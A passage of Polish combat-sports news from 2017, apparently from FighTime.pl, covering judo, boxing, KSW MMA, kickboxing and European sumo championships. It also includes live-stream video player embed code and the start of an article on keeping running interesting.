Maciej Sarnacki mógł mieć koszmary. Wszystko przez prześladujące go piąte miejsca. Zaczęło się od mistrzostw Europy w Warszawie, gdzie judoka Gwardii Olsztyn starcie o brąz przegrał z Czechem Lukasem Krpalekiem. Później był piąty w Bukareszcie i Saarbrucken. Do Abu Dhabi mógł jechać z nadziejami, ale nie spodziewał się, że będzie walczył o złoto. Dotychczas w zawodach rangi Grand Slam Sarnacki trzy razy stawał na podium, za każdym razem na jego najniższym stopniu stopniu. W stolicy Zjednoczonych Emiratów Arabskich 30-latek pokazał się z najlepszej strony. Trzy walki wygrał przed czasem i stanął do rywalizacji o złoto. Jego rywalem był doświadczony Francuz Cyrille Maret, który szybko zakończył starcie. 

Kolejny dobry występ zaliczyła Agata Ozdoba-Błach (63kg). Brązowa medalistka tegorocznych mistrzostw Europy po raz drugi w karierze zajęła trzecie miejsce w zawodach rangi Grand Slam. Ponownie w Abu Dhabi. Na drodze Polki w półfinale stanęła Lucy Renshall. Ozdoba-Błach nie potrafiła znaleźć recepty na ubiegłoroczną mistrzynię Europy U23 i zapisała na swoim koncie trzy kary shido. W starciu o brąz nasza zawodniczka pokonała młodą Emily Burt, która w Abu Dhabi odniosła największy sukces w karierze.

Tym razem smakiem musiała się obejść Anna Borowska (57kg). Polka na początek rywalizacji pokonała Soumiyę Iraoui, a potem przegrała dwie walki i zajęła siódmą lokatę. Julia Kowalczyk (57kg), Agata Perenc i Karolina Pieńkowska (52kg), Karolina Tałach (63kg), Damian Szwarnowiecki (81kg) i Piotr Kuczera (90kg) odpadli z turnieju po jednej walce.

Złota Kinga

W Koper wystartowało ośmioro Polaków, a dwie judoczki wracają w wyśmienitych nastrojach. Do góry mogła podskoczyć Kinga Wolszczak (+70kg), która zapisała na swoim koncie złoty medal. W tym roku judoczka zajmowała już trzecie miejsca w Teplicach i Fuengiroli. Nad Adriatykiem rozłożyła na łopatki dwie Włoszki.

Największy sukces w tym sezonie zanotowała Paulina Szlachta (48kg). 17-latka nie zaczęła najlepiej, bo przegrała z Włoszką Carlottą Avanzato, ale później wygrała dwie walki i zdobyła brąz.

O krok od podium była Agata Palka, która zajęła piąte miejsce. Siódma była Nikola Szlachta.

KM

LFN Camp – "Piękna i Bestia"

„Piękna i Bestia” poprowadzą kolejny obóz treningowy dla zawodniczek #LFNTeam w Łodzi! #LFNCAMP 02-05 listopada 2017r. w Łodzi.

Wielokrotna Mistrzyni Świata i Europy w kick-boxingu, pionierka polskiej kariery bokserskiej kobiet – Iwona Guzowska oraz międzynarodowy Mistrz KSW wagi ciężkiej – Marcin Różalski, poprowadzą przygotowania polskich zawodniczek do grudniowej gali Ladies Fight Night. 

Trzecia odsłona obozu sportowego dla zawodniczek jedynej w Europie żeńskiej organizacji sportów walki odbędzie się 2-5 listopada w Fight Club Łódź (ul. Drewnowska 77). Podczas czerwcowego spotkania dziewczęta miały okazję trenować pod okiem Mistrzyni Świata MMA Joanny Jędrzejczyk. Tym razem treningi poprowadzą Mistrzyni kick-boxingu Iwona Guzowska oraz Mistrz KSW Marcin Różalski. Obóz został podzielony na dwie części. Spotkanie rozpocznie Iwona Guzowska oraz poprowadzi treningi w czwartek i w piątek. Kolejne dwa dni obozu będą należały do Marcina Różalskiego. Uczestnictwo w obozie potwierdziły takie zawodniczki jak m.in. Agnieszka Niedźwiedź, Izabella Badurek, Katarzyna Sadura, Katarzyna Lubońska oraz Marta Waliczek.

Grudniowa gala Ladies Fight Night „Double Trouble”

Listopadowy obóz sportowy rozpoczyna przygotowania zawodniczek do podwójnej, grudniowej gali organizacji Ladies Fight Night zatytułowanej „Double Trouble”. To kolejny event sportowy, który zaskoczy was wszystkich. Drugie urodziny obchodzić będziemy już 15 i 16  grudnia. Rejestracja wejściówek na naszej odświeżonej stronie już od 15 listopada 2017r. Zapraszamy! Podwójne kłopoty gwarantowane!

Harmonogram obozu:

02.11.2017r. (czwartek) – trening godz. 17.00 (Iwona Guzowska)

03.11.2017r. (piątek) – trening godz. 10.00 i 17.00 (Iwona Guzowska)

04.11.2017r. (sobota) – trening godz. 10.00 i 17.00 (Marcin Różalski)

05.11.2017r. (niedziela) – trening godz. 10.00 (Marcin Różalski)

Miejsce:

Fight Club Łódź, ul. Drewnowska 77

Tradycji stało się zadość

Mistrz ponownie wygrał przed czasem. Anthony Joshua znokautował w dziesiątej rundzie Carlosa Takama i obronił pasy mistrza świata wagi ciężkiej federacji IBF, IBO i WBA.

28-letni gwiazdor kategorii królewskiej zaprezentował się w ringu po raz pierwszy od kwietniowego starcia z Władimirem Kliczko. 

Dwudziesta wygrana przed czasem

Anthony Joshua imponuje siłą i skutecznością. W Cardiff stoczył dwudziestą walkę w karierze i po raz dwudziesty wygrał przed czasem! Na Principality Stadium 28-letni czempion wagi ciężkiej miał rywalizować z Kubratem Pulewem, jednak Bułgar dwanaście dni przed walką doznał kontuzji. Jego miejsce zajął Carlos Takam, który swego czasu przegrał z Aleksandrem Powietkinem i Josephem Parkerem. W tym roku 36-letni bokser urodzony w Kamerunie pokonał m.in. Marcina Rekowskiego. Nie da się ukryć, że szanse Takama na sukces w starciu z Joshuą oceniano jako minimalne.

36-latek walczył dzielnie z faworytem. Pierwsza runda na rozpoznanie, a później w ruch poszły pięści. W drugiej odsłonie Takam zachwiał się. Joshua kontynuował drogę do zwycięstwa i w czwartej rundzie groźnie skontrował rywala. Takam miał problem z okiem, przyjął kolejne ciosy i był po raz pierwszy liczony. To zachęciło Joshuę, który ani na chwilę nie myślał, aby zwolnić. Takam stał jednak twardo na nogach i przyjmował kolejne ciosy, ale szukał również możliwości trafienia czempiona. Przewaga Brytyjczyka nie podlegała dyskusji. Takam robił wszystko, aby dotrwać do końca starcia. W dziesiątej rundzie Joshua niemiłosiernie okładał Francuza ciosami, do akcji wkroczył sędzia, który przerwał walkę. Takam nie był zadowolony z takiego obrotu sprawy, ale musiał pogodzić się z tą decyzją.

Walka zakończyła się zwycięstwem Joshuy, który po raz pierwszy obronił pas IBF, IBO i WBA. Jednak z walki nie wyszedł bez szwanku. Bokser podkreślał, że ma problemy z oddychaniem. Prawdopodobnie przez złamany nos.

Co dalej?

Warto podkreślić, że Joshua pisze nowy rozdział w historii boksu. Wygrał dwudziesty raz przez nokaut, czym poprawił wynik Mike Tysona, który triumfował dziewiętnaście razy z rzędu.

Teraz wszyscy czekają na starcie tytanów kategorii królewskiej. Mówi się, że w przyszłym roku miałoby dojść do pojedynku Joshuy z Deontayem Wilderem. Dwóch bombardierów stanęłoby do rywalizacji o ogromną stawkę. Na szali pasy WBC, WBA, IBF i IBO. Zapowiada się wydarzenie największego kalibru. Czekamy.

KM

Kary się posypały

Podczas gali KSW 40 w Dublinie było niezwykle gorąco. Nie tylko za sprawą emocji sportowych. Walka Mateusza Gamrota z Normanem Parkiem zakończyła się skandalem w postaci przepychanek i wyzwisk. Federacja KSW wyciągnęła konsekwencje.

Gamrot i Parke spotkali się po raz drugi. Walka na gali KSW 39 Colosseum w Warszawie zakończyła się pozytywnym rozstrzygnięciem dla Polaka. W Dublinie doszło do rewanżu…

Walka, której nie było

Mateusz Gamrot ponownie chciał udowodnić, że jest lepszy. Parke miał zakusy na pas mistrzowski, jednak nie potrafił skutecznie przeciwstawić się Polakowi. Przez dwie rundy mistrz wagi lekkiej obijał głowę Irlandczyka. Zawodnicy zdecydowali się na rywalizację w stójce. Parke starał się podpuścić Gamrota i często go prowokował. Pretendent pokazywał, że ciosy rywala nie robią na nim wrażenia. W pierwszej rundzie mistrz KSW trafił Irlandczyka w krocze. Kopnięcie nie było zamierzone. W końcu Parke doszedł do siebie, ale nie potrafił zagrozić Gamrotowi.

Druga runda miała bardzo podobny przebieg. Gamrot okładał rywala, a ten postawił na grę aktorską, jednak widać było, że jest coraz słabszy. Polak dopuszczał się nieczystych zagrań. Gamrot wsadził palec w oko Irlandczykowi i ten musiał się poddać oględzinom lekarza. Medyk nie pozwolił na kontynuowanie starcia. Pojedynek uznano za nierozstrzygnięty.

W oktagonie było gorąco. Zawodnicy wzajemnie się prowokowali i doszło do przepychanek. Parke zaatakował Borysa Mańkowskiego, a jeden z sekundantów Gamrota uderzyła Parke'a. Gdy emocje już opadły, do akcji postanowiła wkroczyć federacja KSW. Kary się posypały.

Kto ucierpi najbardziej?

Po „kieszeni” dostaną główni aktorzy widowiska. – Mając na uwadze fakt, że to Norman Parke, kiedy podszedł do narożnika swojego rywala, pierwszy odepchnął Borysa Mańkowskiego, za atak na narożnik przeciwnika zawodnik z Irlandii Północnej zostanie ukarany finansowo – czytamy w oświadczeniu federacji KSW. I dalej: – Za zachowanie narożnika kara finansowa nałożona została również na mistrza KSW w wadze lekkiej, Mateusza Gamrota. 

Ukarany został również Marcin Bilman, który stał w narożniku Polaka i uderzył Parke'a. – Na galach KSW nie ma miejsca na atakowanie zarówno narożnika zawodników, jak i samych fighterów, ponieważ jest to zachowanie wysoce odbiegające od sportowych standardów, które przyświecają Federacji KSW. Federacja nakłada na Marcina Bilmana zakaz wstępu do narożników oraz zaplecze na okres 9 miesięcy od dnia gali KSW 40 – napisano w oświadczeniu.

 

KM

Wszystko jasne, teraz półfinały

Ćwierćfinały turnieju World Boxing Super Series za nami. Ostatnim półfinalistą w kategorii super średniej został Jurgen Braehmer, który w Schwerinie pokonał Roba Branta.

Jesienne emocje związane z rywalizacją w WBSS zakończone. Odbyło się osiem walk w dwóch kategoriach wagowych. Kogo zobaczymy w półfinałowych starciach?

Kategoria super średnia

Jako ostatni na ring weszli Jurgen Braehmer i Rob Brant. Doświadczony Niemiec mógł zaprezentować się przed własną publicznością, bo walka odbyła się w Schwerinie, gdzie mieszka od lat. 39-letni Braehmer górował nad Brantem doświadczeniem, jednak Amerykanin jeszcze nigdy nie przegrał. Niemiec narzucił swój styl i z każdą rundą jego przewaga była coraz bardziej widoczna. Brant starał się atakować, ale nie mógł przebić się przez skuteczną obronę Niemca. Sędziowie nie mieli wątpliwości i zdecydowanie wskazali na 39-latka – 119:109, 118:110, 116:112. W półfinale Braehmer zmierzy się z Callumem Smithem, który w Liverpoolu pokonał na punkty Erika Skoglunda.

Pozostałe dwa ćwierćfinały w kategorii super średniej zakończyły się przed czasem. Chris Eubank Jr wypunktował Avni Yildirima. Turek rozpoczął aktywnie i chciał zaskoczyć rywala, ale już pod koniec pierwszej rundy był liczony. Eubank konsekwentnie robił swoje i mądrze boksował. Po serii ciosów w trzeciej rundzie Yildirim padł na deski i walka została przerwana. Z kolei George Groves w Londynie obronił pas WBA wagi super średniej. 29-letni Brytyjczyk spotkał się z niepokonanym Jamie Coxem. Groves potrzebował czterech rund, aby rozstrzygnąć walkę na swoją korzyść. Świetna kontra Brytyjczyka i prawy na korpus powalił Coxa, a sędzia wyliczył go i przerwał pojedynek. 

Kategoria junior ciężka

Kibice w Polsce ściskali kciuki za Krzysztofa Włodarczyka, który znalazł się w gronie ćwierćfinalistów World Boxing Super Series. Niestety, przygoda „Diablo” z turniejem zakończyła się. Polak miał szansę po raz trzeci zostać mistrzem świata, ale na jego drodze stanął Murat Gassijew. Starcie rozpoczęło się spokojnie, ale wraz z upływającym czasem Rosjanin podkręcił tempo. W trzeciej rundzie Gassijew najpierw wyprowadził lewy podbródkowy, a potem lewy hak na korpus i powalił Włodarczyka na deski. Polak przegrał po raz pierwszy w karierze przed czasem. O finał WBSS Gassijew powalczy z Yunierem Dorticosem. Kubańczyk pokonał Dmitrija Kudriaszowa w drugiej rundzie.

Za faworyta turnieju uchodzi Oleksandr Usyk. Mistrz świata WBO rozmontował Marco Hucka, który w żaden sposób nie potrafił zagrozić Ukraińcowi. Ten zakończył męczarnie Niemca bośniackiego pochodzenia w dziesiątej rundzie. Rywalem Usyka o wejście do finału będzie Mairis Briedis. Łotysz na punkty pokonał Mike'a Pereza.

Kiedy półfinały?

W turnieju World Boxing Super Series rywalizacja toczy się o wielkie pieniądze. Półfinały odbędą się w styczniu i lutym. Ostateczne rozstrzygnięcia powinny być znane w maju 2018 roku.

Fot. pixabay.com

KM

Dorota Godzina pożegnała się z kibicami

Ostatnia walka w karierze utytułowanej Doroty Godziny. Na gali DSF Kickboxing Challenge 11 w warszawskiej Arenie Ursynów kickboxerka związana z klubem X Fight Piaseczno pokonała Sylwię Kaliś. W walce wieczoru Dawid Kasperski wygrał z Boubakerem El Bakourim.

Przez lata Dorota Godzina zapracowała na miano gwiazdy polskiego kickboxingu. Wkład 32-latki w rozwój popularności dyscypliny nie podlega dyskusji. 

Wygrana Królowej

Dorota Godzina wygrała ostatnią walkę w karierze i ze łzami w oczach pożegnała się z kibicami. Wygrywając z Sylwią Kaliś obroniła pas mistrzowski organizacji DSF. Z dumą może patrzeć na swój dorobek. Przez 16 lat wywalczyła tytuły mistrzyni świata, zawodowej mistrzyni świata, 12 Pucharów świata, dwa amatorskie mistrzostwa Europy, a także medale mistrzostw Polski w różnych formułach. Łącznie stoczyła ponad 350 walk. Z pewnością mówimy o kobiecie, która na trwałe zapisała się w historii polskiego kickboxingu.

Nadal pojawiają się pytania, czy decyzja Doroty Godziny jest ostateczna. Zawodniczka zapewnia, że tak. – Nie zmieniłam decyzji – to moja ostatnia zawodowa walka. Pojedynek oceniam jako bardzo ciężki zarówno sportowo, bo moja młoda przeciwniczka wykazała się ogromną determinacją, jak i emocjonalnie. Cały czas z tyłu głowy krążyły mi myśli, że to już ostatni raz – wyjaśnia FighTime.pl Dorota Godzina.

Zatem nadszedł czas na podsumowania. – Myślę, że wyciągnęłam tyle ile się dało z mojej przygody z kickboxingiem. Na początku nawet nie śniłam, że znajdę się w tym miejscu, w którym jestem. Ciężko wyróżnić kilka rzeczy, które najmocniej zapadły mi w pamięci, ponieważ jest ich mnóstwo. Na pewno dobrze pamiętam, kiedy pierwszy raz pojawiłam się na treningu u Piotra Siegoczyńskiego. Wtedy jeszcze nie przypuszczałam, że to był dzień który zaważy na moim przyszłym życiu – prezentuje Godzina.

Pokonaliśmy Francję

Gala DSF w Arenie Ursynów obfitowała w wiele ciekawych walk. Jednostronny okazał się mecz Polska-Francja. Biało-czerwoni rozłożyli Trójkolorowych na łopatki i wygrali pewnie 5:0. Maksymilian Bratkowicz (86kg) w pierwszej rundzie pokonał Henriego Floriana, równie szybko z rywalem przy pomocy latającego kolana uporał się Michał Turyński (+95kg). Łukasz Wichowski (81kg), w pojedynku na zasadach full contact, w drugiej rundzie znokautował Ibrahima Fettara. Decyzją sędziów walki wygrali Marcin Mazurkiewicz (75kg) i Tomasz Klimiuk (+95kg). Ten drugi niejednogłośnie.

W Arenie Ursynów debiut w organizacji DSF zaliczył Dawid Kasperski (86kg). Złoty medalista World Games we Wrocławiu pokonał pewnie Boubakera El Bakouriego. Sędziowie nie mieli żadnych wątpliwości, co do swojej decyzji i wskazali jednogłośnie na Polaka.

Fot. Dorota Godzina Facebook

KM

Dziewięcioro Polaków powalczy w Abu Dhabi

Jeden z ostatnich akordów tegorocznej rywalizacji judoków. W dniach 26-28 października odbędzie się turniej Grand Slam w Abu Dhabi. Na tatami zobaczymy dziewięcioro reprezentantów Polski.

W turnieju zaprezentuje się blisko 280 judoków z 47 krajów, a więc należy spodziewać się zaciętej rywalizacji o medale. 

Iść za ciosem

W Abu Dhabi zobaczymy zachwycającą blaskiem Agatę Ozdobę-Błach (63kg). Ostatnie tygodnie są wyjątkowe w życiu judoczki, która ma same powody do radości. W sierpniu wywalczyła brązowy medal mistrzostw świata w Budapeszcie, a we wrześniu wzięła ślub. Największy sukces w karierze sportowej, a także najważniejsza życiowa decyzja – czy może być lepsze połączenie? Na płaszczyźnie sportowej Ozdoba-Blach nie powiedziała jeszcze ostatniego słowa. Mierzy w medal Igrzysk Olimpijskich Tokio 2020. 29-letnia zawodniczka ma już na swoim koncie medale mistrzostw świata i Europy w zmaganiach indywidualnych i drużynowych. Brakuje jej sukcesu, na który sportowcy ciężko pracują przez cztery lata.

Ozdoba-Błach rozpoczyna drogę do Tokio. Swoją dyspozycję Polka sprawdzi w Abu Dhabi, gdzie rok temu zajęła siódme miejsce. Z kolei trzy lata temu w stolicy Zjednoczonych Emiratów Arabskich była trzecia. Do tegorocznego turnieju przygotowywała się przez ostatnie tygodnie w Zakopane. W tym roku 29-latka wygrała zawody w Mińsku i była trzecia w Pradze. Czy na fali dobrych wyników ponownie wskoczy na podium? Przekonamy się o tym w piątek (27 października), kiedy to Agata Ozdoba-Błach pojawi się na tatami.

W gazie jest również Anna Borowska (57kg), która na początku października wygrała Grand Prix w Taszkiencie. Dla Polki był to trzeci triumf w tym roku. Ponadto, z Taszkientu w dobrym nastroju wróciła Agata Perenc (52kg), która zdobyła srebro. O krok od medalu była Karolina Pieńkowska (52kg). Wszystkie trzy zaprezentują się również w Abu Dhabi.

W turnieju Grand Slam zobaczymy również: Julię Kowalczyk (57kg), Karolinę Tałach (63kg), Damiana Szwarnowieckiego (81kg), Piotra Kuczerę (90kg) i Macieja Sarnackiego (+100kg). 

Puchar Polski w Warszawie

Emocje zaczną się w Abu Dhabi, a skończą się w Warszawie. 29 października w hali przy ul. Klimatycznej 1 odbędzie się rywalizacja w Pucharze Polski seniorów i seniorek. Otwarcie imprezy o 12.00, pierwsze walki kwadrans później.

KM

Pas wróci do „Kornika”?

Opadają emocje po gali KSW w Dublinie. Wiadomo już, że 23 grudnia w katowickim Spodku odbędzie się kolejne wydarzenie organizacji Martina Lewandowskiego i Macieja Kawulskiego. Artur Sowiński postara się odzyskać pas wagi piórkowej, którego posiadaczem jest Kleber Koike Erbst.

Kibice MMA dostaną prezent pod choinkę. Wszyscy liczą, że gala w Katowicach będzie wspaniałym podsumowaniem roku. W ostatnim czasie KSW przełamywała kolejne bariery: PGE Narodowy, wizyta w Dublinie i głośne nazwiska na pokładzie organizacji.

Gorący Dublin

Nie sposób nie wspomnieć o gali w Dublinie. Tak naprawdę jest wiele powodów ku temu, ale chyba ten najważniejszy dotyczy Michała Materli. Wszyscy byli ciekawi jak zaprezentuje się były mistrz wagi średniej, który ma za sobą trudny czas. Materla otrzymał ogromne wsparcie publiczności i w drugiej rundzie znokautował Paulo Thiago. Na gwiazdę kobiecego MMA wyrasta Ariane Lipski. 23-letnia Brazylijka stoczyła trzecią walkę w KSW i ponownie wygrała przed czasem. Mistrzyni wagi muszej już w pierwszej rundzie zmusiła do poddania Marianę Morais. 

Czy czeka nas kolejna odsłona sagi Gamrot vs Parke? Panowie spotkali się dwa razy. W maju w Warszawie Polak wygrał jednogłośną decyzją sędziów, a starcie w Dublinie zostało uznanie za… nieodbyte. Walka mogła się podobać, ale w drugiej rundzie Gamrot wsadził palec w oko rywala. Lekarze nie dopuścił Irlandczyka do dalszej rywalizacji. Po decyzji o zakończeniu starcia doszło do przepychanki w narożniku mistrza wagi lekkiej, w której uczestniczył Parke. 

Warto również wspomnieć o dwunastym zwycięstwie w karierze 40-letniego Mariusza Pudzianowskiego. Były strongman decyzją sędziów pokonał Jaya Silvę.

Czas na Katowice 

Czy wysoka temperatura musi towarzyszyć tylko galom na Wembley czy PGE Narodowym? Wcale nie. Wiadomo, że skala wydarzenia może robić różnicę. Jednak w Katowicach zapowiada się równie ciekawa gala. Z pewnością dla wielu niezwykle interesujący będzie debiut w KSW aktora Tomasza Oświecińskiego. Wiadomo, że jego walka z Popkiem Monsterem ma być magnesem dla widzów. Poziom sportowy? Jedna wielka niewiadoma.

Na pewno emocje będą w starciu Artura Sowińskiego i Klebera Koike Ebrsta. Obaj są niezwykle efektownie walczącymi zawodnikami, którzy nawet na chwilę nie odpuszczają. Sowiński i Erbst mieli okazję rywalizować na gali KSW 33 w Krakowie. Wtedy decyzją sędziów wygrał Polak, który obronił pas mistrza wagi piórkowej. Obecnie są w zupełnie innych miejscach. W międzyczasie Sowiński stracił tytuł na rzecz Marcina Wrzoska, któremu później pas odebrał Erbst. Japończyk urósł do miana gwiazdy KSW. 28-latek jest niepokonany od czterech walk, wygrywał również na galach Pancrase oraz Rebel FC 4.

Jednym z głównych aktorów KSW 41 w Katowicach ma być Borys Mańkowski, który po raz czwarty będzie bronił tytuły wagi półśredniej.

Fot. konfrontacja.com

KM

Włodarczyk po pas mistrza świata

Krzysztof „Diablo” Włodarczyk był czempionem WBC oraz IBF w kategorii junior ciężkiej. Polski pięściarz ponownie ma szansę wywalczyć pas tej drugiej organizacji. W sobotę w hali Prudential Center w Newark zmierzy się z niepokonanym Muratem Gassijewem.

Warto wspomnieć, że będzie to ćwierćfinałowe starcie w ramach turnieju World Boxing Super Series. Zwycięzca w kolejnej rundzie spotka się z Yunierem Dorticosem.

Ostatnia szansa Włodarczyka

„Diablo” zrobił wiele dla polskiego boksu. Pierwszy tytuł mistrza świata wywalczył blisko 11 lat temu na warszawskim Torwarze. Włodarczyk pokonał Steve'a Cunninghama, ale w rewanżu musiał uznać wyższość Amerykanina. W 2010 roku „Diablo” mógł wznieść w górę pas mistrzowski WBC, gdy w łódzkiej Atlas Arenie wygrał przed czasem z Giacobbe Fragomenim. Kolejni rywale padali jego łupem, a Włodarczyk stał się pierwszoplanową postacią polskiego boksu. W 2013 roku Polaka zatrzymał Grigorij Drozd. Miało dojść do rewanżu, ale walka się nie odbyła. Podkreślano, że problemem Włodarczyka jest głowa. Na kolejną walkę „Diablo” trzeba było czekać półtora roku.

Włodarczyk ma 36 lat i to ostatnia chwila, aby mógł coś jeszcze ugrać w zawodowym boksie. W Newark stanie naprzeciw mocnego Rosjanina Gassijewa. 24-latek wygrał wszystkie 24 walki w karierze, a w grudniu 2016 roku pokonał Denisa Lebiediewa i sięgnął po pas IBF. Gassijew trenuje w Stanach Zjednoczonych pod okiem Abela Sancheza. Z pewnością Rosjanin jest mocny, ale posiada również wady. Zadaje mocne ciosy, jednak popełnia błędy w ataku. W oczach bukmacherów zdecydowanym faworytem jest 24-letni mistrz świata. 

Atutem Włodarczyka będzie doświadczenie. To Polak ma za sobą bagaż ringowych wzlotów i upadków, który może wykorzystać i ukłuć w decydującym momencie. Kluczowe będzie, czy Polak udźwignie psychicznie ciężar starcia. Doświadczenie stanowi ogromną wartość, ale energia Rosjanina może wyczerpać Włodarczyka. „Diablo” musi rozsądnie gospodarować siłami i szukać lewego prostego.

Na sali pojawią się również ogromne pieniądze. Za awans do półfinału WBSS zwycięzca dostanie 400 tysięcy dolarów. Ponad 1 milion dolarów czeka na Włodarczyka w przypadku pokonania Gassijewa.

Polski wieczór

Sobotnia noc w Newark może być polska. W Prudential Center 26 walkę w karierze stoczy Maciej Sulęcki, który zmierzy się z Jackiem Culcay'em. Polaka występującego w wadze junior średniej czeka trudne zadanie, bo Niemiec to były mistrz organizacji WBA. Pas stracił w tym roku. Pogromcą Culcaya okazał się Demetrius Andrade. Z kolei Sulęcki ostatnie siedem walk wygrał przed czasem.

Na 40 zwycięstwo na zawodowym ringu zapoluje Mateusz Masternak. Przeciwnikiem byłego mistrza Europy w wadze junior ciężkiej będzie Stivens Bujaj.

KM

Wojda: Walka o złote medale

Nie ma wątpliwości, że Polacy będą pierwszoplanowymi postaciami nadchodzących mistrzostw Europy młodzików, kadetów i juniorów w sumo. Transmisja w telewizji FighTime.pl. Zapraszamy do śledzenia rywalizacji!

Krok po kroku sumo zdobywa coraz większą popularność w Europie. Polska może pochwalić się licznymi sukcesami. Czy biało-czerwoni zdobędą kolejne medale podczas nadchodzących mistrzostw Europy?

Cel jest jasny

Rok temu rywalizacja młodzików i kadetów odbyła się w Brandenburgii. Najlepsi okazali się zawodnicy z Rosji, za nimi uplasowali się sumocy z Polski i Estonii. Poza podium znaleźli się mocni Węgrzy. Jak będzie w Warszawie? Jedno jest pewno – Polacy będą walczyli z całych sił, aby ponownie znaleźć się wśród najlepszych. – Naszym celem jest walka o złote medale. Mamy świadomość, że nasz potencjał jest duży. Chcemy powalczyć o jak najwyższe miejsce w klasyfikacji drużynowej i wierzymy w sukces. W porównaniu z ubiegłym rokiem mamy jeszcze zmagania w trzeciej grupie, gdzie jesteśmy mocni. Czeka nas wyjątkowa impreza – mówi FighTime.pl Andrzej Wojda, sekretarz generalny Polskiego Związku Sumo.

Nastroje są optymistyczne, a więc nie pozostaje nic innego jak rozpocząć rywalizację o medale. Pierwszy akord mistrzostw już 20 października. Od 11.00 do 18.00 odbędą się zmagania młodzików do lat 14. Kolejnego dnia o medale powalczą kadeci, zaś 22 października mistrzostwa Europy zwieńczy rywalizacja juniorów.  – W Warszawie wystąpi 86 Polaków w trzech grupach. Zawodnicy przygotowywali się do udziału w mistrzostwach Europy w klubach oraz podczas zawodów – podaje Andrzej Wojda.

Rywale nie odpuszczą

Trzeba jednak pamiętać, że plany i marzenia to jedno, a rzeczywistość drugie. Nie ma, co ukrywać – każda reprezentacja przyjedzie, aby wypaść jak najlepiej. Dla młodych sumoków mistrzostwa Europy to wyjątkowe wydarzenie, podczas którego chcą dać z siebie wszystko. – Łącznie do udziału w mistrzostwach Europy zgłosiło się blisko 240 zawodników. Zobaczymy rywalizację dziesięciu reprezentacji w trzech grupach. W każdej z nich od sześciu do ośmiu kategorii wagowych. Każda reprezentacja może wystawić po dwóch zawodników w danym limicie – prezentuje sekretarz generalny Polskiego Związku Sumo.

Mistrzostwa Europy młodzików, kadetów i juniorów w sumo odbędą się w hali sportowej SP 76 przy ul. Poezji 5 w Warszawie. Wstęp na imprezę jest wolny.

Mistrzostwa można będzie również śledzić w telewizji FighTime. Zapraszamy serdecznie do przeżywania emocji.

Fot. Polski Związek Sumo Facebook

KM

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 1

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 2

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 3

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Co zrobić by uniknąć monotonii w czasie biegania?

Bieganie jest świetną formą aktywności fizycznej jednak w pewnym momencie powtarzanie tej samej czynności może stać się monotonne i nużące. Co można zrobić by uniknąć takiej sytuacji?

Czy bieganie może być bardziej ciekawe?

Bieganie jest obecnie jedną z najbardziej popularnych form aktywności fizycznej. Osoby uprawiające jogging są w dużej mierze uzależnione od warunków atmosferycznych. Wiele osób biega na świeżym powietrzu głównie w okresie wiosenno-letnim. Nie oznacza to, że wraz z nadejściem jesieni zaprzestają treningów. Dzięki ogólnie dostępnym maszynom treningowym takim jak na przykład bieżnia elektryczna biegać można przez cały rok nawet we własnym domu.

Co jednak zrobić, gdy bieganie przestaje nam sprawiać przyjemność? Przede wszystkim należy pamiętać o tym by niczego nie robić na siłę i wbrew sobie. Czasami wystarczy zrobić krótką przerwę od treningu by po kilku dniach znów wrócić do biegania z nową energią. 

Jeśli jesteście osobami początkującymi i wydaje wam się, że bieganie jest monotonne, pamiętajcie, że najtrudniejszych przeważnie jest pierwszych kilka treningów. Później jest coraz łatwiej i przyjemniej. Wiele osób, które początkowo było bardzo sceptycznie nastawionych do joggingu, po pewnym czasie pokochały tren sport. Bardzo pomocne jest słuchanie w czasie biegu ulubionej muzyki. 

Podnoś sobie poprzeczkę

